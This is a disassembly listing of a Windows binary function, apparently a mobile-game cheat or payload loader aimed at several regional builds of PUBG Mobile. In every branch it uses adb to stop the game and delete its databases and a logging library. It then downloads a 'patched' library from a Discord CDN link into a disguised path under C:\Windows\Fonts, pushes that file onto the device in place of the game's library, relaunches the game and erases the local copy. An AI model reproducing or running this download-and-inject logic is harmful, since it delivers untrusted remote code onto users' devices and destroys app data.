Function at 0x458dd0
Capabilities:
Delete file
Download url
Execute command
Receive data

Disassembly:
push esi
cmp ecx, 1
jne 0x458e44
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push str.adb_kill_server
call esi
push str.adb.exe_start_server
call esi
push str.adb.exe_shell_am_force_stop_com.tencent.ig
call esi
push str.adb.exe_shell_touch__data_data_com.tencent.tinput
call esi
push str.adb.exe_shell_rm__rf__data_data_com.tencent.ig_databases
call esi
push str.adb_shell_rm__r__data_data_com.tencent.ig_databases
call esi
push str.adb_shell_rm__rf__data_data_com.tencent.ig_lib_libmarsxlog.so
call esi
add esp, 0x1c
push 0
push 0
push str.C:WindowsFontsxum.exe
push str.https:__cdn.discordapp.com_attachments_1157009352352354404_1172856905237008414_libMyLibName_patched.so_ex6561d71cis654f621chm734e00f4518ebcb95e99d33f35244a73a52a56c9b16f08981d399806c3c5ccad
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
push str.adb_push_C:WindowsFontsxum.exe__data_data_com.tencent.ig_lib_libmarsxlog.so
call esi
push str.adb_shell_monkey__p_com.tencent.ig__c_android.intent.category.LAUNCHER_1
call esi
push str.C:WindowsFontsxum.exe
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 0xc
pop esi
ret
cmp ecx, 2
jne 0x458eb7
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push str.adb_kill_server
call esi
push str.adb.exe_start_server
call esi
push str.adb.exe_shell_am_force_stop_com.pubg.krmobile
call esi
push str.adb.exe_shell_touch__data_data_com.tencent.tinput
call esi
push str.adb.exe_shell_rm__rf__data_data_com.pubg.krmobile_databases
call esi
push str.adb_shell_rm__r__data_data_com.pubg.krmobile_databases
call esi
push str.adb_shell_rm__rf__data_data_com.pubg.krmobile_lib_libmarsxlog.so
call esi
add esp, 0x1c
push 0
push 0
push str.C:WindowsFontsxum.exe
push str.https:__cdn.discordapp.com_attachments_1157009352352354404_1172856905237008414_libMyLibName_patched.so_ex6561d71cis654f621chm734e00f4518ebcb95e99d33f35244a73a52a56c9b16f08981d399806c3c5ccad
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
push str.adb_push_C:WindowsFontsxum.exe__data_data_com.pubg.krmobile_lib_libmarsxlog.so
call esi
push str.adb_shell_monkey__p_com.pubg.krmobile__c_android.intent.category.LAUNCHER_1
call esi
push str.C:WindowsFontsxum.exe
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 0xc
pop esi
ret
cmp ecx, 3
jne 0x458f2a
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push str.adb_kill_server
call esi
push str.adb.exe_start_server
call esi
push str.adb.exe_shell_am_force_stop_com.vng.pubgmobile
call esi
push str.adb.exe_shell_touch__data_data_com.tencent.tinput
call esi
push str.adb.exe_shell_rm__rf__data_datacom.vng.pubgmobile_databases
call esi
push str.adb_shell_rm__r__data_data_com.vng.pubgmobile_databases
call esi
push str.adb_shell_rm__rf__data_data_com.vng.pubgmobile_lib_libmarsxlog.so
call esi
add esp, 0x1c
push 0
push 0
push str.C:WindowsFontsxum.exe
push str.https:__cdn.discordapp.com_attachments_1157009352352354404_1172856905237008414_libMyLibName_patched.so_ex6561d71cis654f621chm734e00f4518ebcb95e99d33f35244a73a52a56c9b16f08981d399806c3c5ccad
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
push str.adb_push_C:WindowsFontsxum.exe__data_data_com.vng.pubgmobile_lib_libmarsxlog.so
call esi
push str.adb_shell_monkey__p_com.vng.pubgmobile__c_android.intent.category.LAUNCHER_1
call esi
push str.C:WindowsFontsxum.exe
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 0xc
pop esi
ret
cmp ecx, 4
jne 0x458f9d
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push str.adb_kill_server
call esi
push str.adb.exe_start_server
call esi
push str.adb.exe_shell_am_force_stop_com.rekoo.pubgm
call esi
push str.adb.exe_shell_touch__data_data_com.tencent.tinput
call esi
push str.adb.exe_shell_rm__rf__data_data_com.rekoo.pubgm_databases
call esi
push str.adb_shell_rm__r__data_data_com.rekoo.pubgm_databases
call esi
push str.adb_shell_rm__rf__data_data_com.rekoo.pubgm_lib_libmarsxlog.so
call esi
add esp, 0x1c
push 0
push 0
push str.C:WindowsFontsxum.exe
push str.https:__cdn.discordapp.com_attachments_1157009352352354404_1172856905237008414_libMyLibName_patched.so_ex6561d71cis654f621chm734e00f4518ebcb95e99d33f35244a73a52a56c9b16f08981d399806c3c5ccad
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
push str.adb_push_C:WindowsFontsxum.exe__data_data_com.rekoo.pubgm_lib_libmarsxlog.so
call esi
push str.adb_shell_monkey__p_com.rekoo.pubgm__c_android.intent.category.LAUNCHER_1
call esi
push str.C:WindowsFontsxum.exe
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 0xc
pop esi
ret
cmp ecx, 5
jne 0x45900e
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push str.adb_kill_server
call esi
push str.adb.exe_start_server
call esi
push str.adb.exe_shell_am_force_stop_com.pubg.imobile
call esi
push str.adb.exe_shell_touch__data_data_com.pubg.imobile.tinput
call esi
push str.adb.exe_shell_rm__rf__data_data_com.pubg.imobile_databases
call esi
push str.adb_shell_rm__r__data_data_com.pubg.imobile_databases
call esi
push str.adb_shell_rm__rf__data_data_com.pubg.imobile_lib_libmarsxlog.so
call esi
add esp, 0x1c
push 0
push 0
push str.C:WindowsFontsxum.exe
push str.https:__cdn.discordapp.com_attachments_1157009352352354404_1172856905237008414_libMyLibName_patched.so_ex6561d71cis654f621chm734e00f4518ebcb95e99d33f35244a73a52a56c9b16f08981d399806c3c5ccad
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
push str.adb_push_C:WindowsFontsxum.exe__data_data_com.pubg.imobile_lib_libmarsxlog.so
call esi
push str.adb_shell_monkey__p_com.pubg.imobile__c_android.intent.category.LAUNCHER_1
call esi
push str.C:WindowsFontsxum.exe
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 0xc
pop esi
ret